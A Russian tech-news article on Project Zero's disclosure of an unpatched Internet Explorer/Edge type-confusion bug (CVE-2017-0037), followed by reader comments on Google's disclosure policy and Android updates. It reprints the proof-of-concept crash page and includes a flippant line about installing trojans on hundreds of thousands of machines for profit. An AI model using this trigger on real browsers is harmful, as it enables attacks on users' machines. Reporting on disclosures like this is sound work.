Сотрудники подразделения Project Zero опубликовали информацию о незакрытом баге в браузерах Internet Explorer и Edge. Баг позволяет осуществить атаку с удалённым исполнением кода через аварийное прекращение работы браузера. Впервые о нём было сообщено в Microsoft ровно три месяца назад — 25 декабря 2016 года. Компания Microsoft до сих пор не удосужилась выпустить патч, поэтому Google выложила информацию в открытый доступ.
В подробностях баг описан на странице баг-трекера Chromium.
Судя по описанию, баг содержится в путанице классов HandleColumnBreak
OnColumnSpanningElement. На странице баг-трекреа есть 17-строчный пример, с помощью которого можно обрушить этот процесс. Основное внимание здесь следует уделить переменным rcx и rax.
<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>
«Злоумышленник может повлиять на rax, изменяя свойства таблицы, такие как border-spacing и width для первого th элемента, — сказано в сообщении Project Zero. — Таким образом, созданной веб-странице нужно лишь указать rax в памяти, которая уже под контролем».
Информация об уязвимости опубликована в соответствии со стандартным условием о 90 днях «молчания», которое принято в Google и большинстве других хакерских организаций, которые специализируются на поиске уязвимостей. В соответствии с этими правилами, первым делом информация сообщается компании-разработчику, чтобы она исправила баг. Если она этого неделает, то в течение 90 дней (или иного интервала) информация об эксплуатации уязвимости выкладывается в открытый доступ. С этого момента кто угодно может легко использовать баг в Windows (IE), который работает практически на всех компьютерах под Windows в мире. Вы можете за несколько минут установить трояны на сотни тысяч компьютеров и заработать миллионы долларов.
Предполагается, что такой мощный стимул — повсеместная эксплуатация бага — стимулирует разработчика быстрее выпустить патч. Эта логика действует в том случае, когда баг реально уже эксплуатируется.
В прошлый раз такая несогласованность действий Google и Microsoft возникла в ноябре 2016 года. Тогда специалисты Google Threat Analysis Group опубликовали факт наличия опасной уязвимости в Windows всего через 10 дней после того, как сообщили о ней в Microsoft. У редмондской компании просто физически не было времени, чтобы проверить баг, протестировать его на всех конфигурациях, подготовить патч, протестировать его на всех конфигурациях — и выкатить обновление в Windows Update. Google пошла на такой шаг, потому что обнаруженная уязвимость уже активно эксплуатировалась хакерами. По регламенту Google Threat Analysis Group, срок публикации информации об активно эксплуатируемых уязвимостях составляет 7 дней. Можно сказать, что в данном случае компании Microsoft дали поблажку.
Компания Google не первый раз разглашает информацию о незакрытых уязвимостях в Windows. То же самое она сделала несколько раз в прошлом году, за что её подвергли критике коллеги из Microsoft. Якобы такие действия подвергают опасности миллионы пользователей Windows. Однажды ситуация была даже интереснее, потому что Microsoft специально просила Google подождать ещё несколько дней с разглашением — дать им время выпустить патч для Windows 8.1, но Google не отступилась. Принципы есть принципы.
Кажется, что у двух компаний просто разные взгляды на проблему. Google считает, что информирование пользователей об опасности только повышает общую безопасность и заставит раньше выпустить патч. Microsoft считает, что незачем выносить грязное бельё на публику.
Статистика за 2015-2016 годы показывает минимальное количество уязвимостей у Edge и Safari: 134 и 191, соответственно. В то же время у IE и Chrome найдено по 346. Но оцените степень опасности этих уязвимостей. У Edge уязвимости на исполнение кода — 74 (55,22% от общего количества), у IE — 239 (69,08%), у Safari — 132 (69,11%). В то время как у Chrome — всего десять штук за два года, из них восемь в 2015 году и две в 2016 году (2,89% от общего количества).
Полная версия таблицы. Примечание: в таблице учтены найденные уязвимости во всех версиях браузеров
В настоящее время баг зарегистрирован под идентификатором CVE-2017-0037.
Комментарии (30)
tundrawolf_kiba
27.02.2017 15:53+2Принципы есть принципы.
Это конечно повторяется из статью в статью, но… Какие принципы? Андроид признана самой уязвимой системой в 2016 году. На большинстве смартфонов система не то, что до минорных патчей не обновляется, даже секьюрити-фиксы не прилетают. Поэтому мне больше верится не в принципы, а в желание отвлечь от проблем с безопасностью на собственной ОС.Theodor
27.02.2017 17:59-1А гугл лично виноват в том, что производители забивают на обновления?
sleeply4cat
27.02.2017 19:36+2Гугл допустил возникновение такой ситуации. Рычагов давления даже на унылых китайцев у него масса.
asaks
05.03.2017 13:42Допустим надавит гугл на производителей и заставит выпускать обновления постоянно. И будут у нас тогда андроидосмартфоны не ниже 700 баксов стоить, т.к. производители скажут, что они тратяться на поддержку и т.п. Все сразу же начнут возмущаться такой стоимости. Поэтому сейчас есть бюджетные аппараты, на которые забивают почти сразу же, и есть флагманы, на которые выходят обновления, пусть и не сразу же как только их выпускает гугл.
sleeply4cat
05.03.2017 15:35Поправка: у нас есть китайцы, на которые обновления не выходят, и у нас есть все остальные телефоны, на которые обновления не выходят. И есть нексусы/пиксели, первые из которых тоже теперь обновляются чёрт знает как.
И нет, настолько дорогих телефонов не будет.Gugic
07.03.2017 08:43+1С нексусами все пока хорошо. Обновляются в рамках обещанной двухгодовой поддержки. Т.е. на тот же 5x (представленный в 15-м году с андроид 6 на борту) вышло обновление до 7 (фактически у меня там сейчас бета 7.1.2 от февраля месяца) и еще выйдет обновление до 8 осенью. На этом все.
tundrawolf_kiba
27.02.2017 20:11+2Моя точка зрения такая — если я вижу то, что у ОС одинаковое название «Андроид» — то я ожидаю то, что будет возможность обновляться единообразно — из единого репозитория. Если же это невозможно сделать — то я ожидаю увидеть картину примерно как с дистрибутивами Линукс — различные дистрибутивы имеют различное название. А так получается достаточно странная ситуация — и на линейке Nexus и Pixel — Андроид, и на Сони, Самсунге, Асусе — Андроид. Вот только для одного приходят обновления, а для второго — нет, как будто эта система отличается настолько, что эти обновления не встанут на него.
Hormiga
28.02.2017 13:35+3Я просто оставлю это здесь (осторожно, ненормативная лексика):
Почему мой телефон не обновится до нового андроеда
dron_k
28.02.2017 13:36Может отличается а может и нет,
за работоспособность телефона отвечает производитель
он продал вам конкретный телефон с конкретными характеристиками и конкретным ПО
и будет ли он поддерживать новые версии андроида это добрая воля производителя
ибо это:
* затраты на тестирование
* затраты на допиливание собственного ПО под новую версию андроида
* риск что всетаки при обновлении чтото сломается и в сервисы выстроится очередь злобных домохозяек (недавний пример с обновлениями телевизоров сони)
* по примеру со старыми девайсами нексус и эппл — при накатывании новой весии ОС производительности старого железа может не хватить и снова в сервисы выстроится очередь злобных домохозяек с тупящими девайсами
Так что как видим не всё так просто,
и если вы как продвинутый пользователь готовы мириться с возможными проблемами обновления ОС и устранять их, то можете отдать предпочтение линейке нексус,
остальное же как правило разрабатывается по большей части для обывателей которые хотят купить и пользоваться.
В защиту производителей могу отметить что некоторые таки выпускают обновления ОС,
в моем случае это был LG.
Они выпустили обновления андроида с 4.4 на 5,
сначала для LG G3, и чуть позже для LG G2 Pro, другие модели я не отслеживал, скорее всего и для других было.tundrawolf_kiba
28.02.2017 14:01Если вы внимательно прочитали первый комментарий в ветке — то я там говорю даже не минорных патчах (допустим с 4.3 до 4.4), а хотя бы о секьюрити фиксах. Если даже они не могут обновляться централизовано, то почему тогда эти прошивки зовутся Android? Называйте их тогда по примеру CyanogenMod или Yandex.Kit, чтобы было понятно, что за прошивку отвечает только производитель телефона, но никак не гугл. Ну и возвращаясь к теме статьи — если гугл не имеет возможности своевременно закрывать уязвимости и доставлять исправления на все устройства — то почему он тогда наезжает с этим на Майкрософт? В случае с виндовс я, как минимум, могу быть уверен, что если уязвимость закрыта, то у меня будет патч ее исправляющий. А ведь на десктопах зоопарк железа не меньше, если не больше, чем на мобильных устройствах.
Taciturn
03.03.2017 15:08+1За работоспособность OEM-версий Windows тоже как-бы отвечает производитель оборудования на котором они установлены. Но это не мешает MS выпускать для них обновления.
А вот Google, в по сути аналогичной ситуации, мешает.itvdonsk
05.03.2017 15:47Все потому что под Windows железо унифицировано. А вот под Android клепают кто во что горазд. Условно говоря если производитель оборудования поставит специфичное железо, а обновление будет ломать работоспособность этого железа, то кто будет виноват? MS или производитель железа?
itvdonsk
05.03.2017 13:42По поводу обновлений это вопрос к производителям смартфонов.
tundrawolf_kiba
05.03.2017 15:27А почему вдруг к ним — разве они выпускают ОС Андроид? А если то, что они выпускают — не Андроид — то почему он так называется?
itvdonsk
05.03.2017 15:36Для начала определитесь выпускают они или нет. То что ставят производители на свои смартфоны является патченным под определенное железо Андроидом. В базовом андроиде поддерживается определенное железо. Хочешь ставить на другое железо — пиши патчи. И это не проблема Гугла что производитель не хочет поддерживать(читай нанимать программистов для патча прошивки) для устаревшего (для производителя) смартфона.
artgrosvil
05.03.2017 13:42А почему вы скидываете проблемы производителей на Google? Никто не заставляет всяких самсунгов и иже с ним городить непонятно что из проработанной ОС. Вон Нокиа выпустила свои смартфоны на чистом андроиде, и они будут получать все обновления(и секьюрити и новые версии) прямо от Google. И Нокиа легче и наконец-то будут смартфоны с голым робот помимо нексуса(пикселя).
tundrawolf_kiba
05.03.2017 15:20Никто не заставляет всяких самсунгов и иже с ним городить непонятно что из проработанной ОС.
Т.е. — если я покупаю не Нексус/Пиксель — я покупаю не Андроид, верно? Тогда почему бы Гуглу не договориться с производителями, чтобы они свои ОС называли как-то по другому, чем Андроид? А то видите, какая путаница возникает.itvdonsk
05.03.2017 16:43Тут больше вопрос, что лицензия Android не запрещает называть модифицированную ОС Android'ом.
Deaddy
27.02.2017 16:28+4которое принято в Google и большинстве других хакерских организаций
шикарно!
Oxoron
27.02.2017 16:39+1Меня уже задолбал Edge утверждающий, что он безопасней и быстрее Гугла. Видимо, разрабов Гугл это всплывающее окно тоже задолбало.
Gugic
27.02.2017 16:56+1Ну по крайней мере насчет того что батарейку он садит медленнее хрома — правда (по крайней мере в моем конкретном случае). Пользуюсь в общем.
mSnus
27.02.2017 16:56+2А я только собрался заменить свой Netscape Navigator на что-то посовременнее… Нет, пожалуй, ещё подожду.
bigbrotherwatchingyou
28.02.2017 06:22Вот-вот, лучше бы в своих поделиях баги искали и фиксили, а не в чужой огород камни кидали
alff31
При чтении статьи меня не покидало легкое чувство дежа вю https://geektimes.ru/post/286118/
Пора звать на гиктаймс Диссинет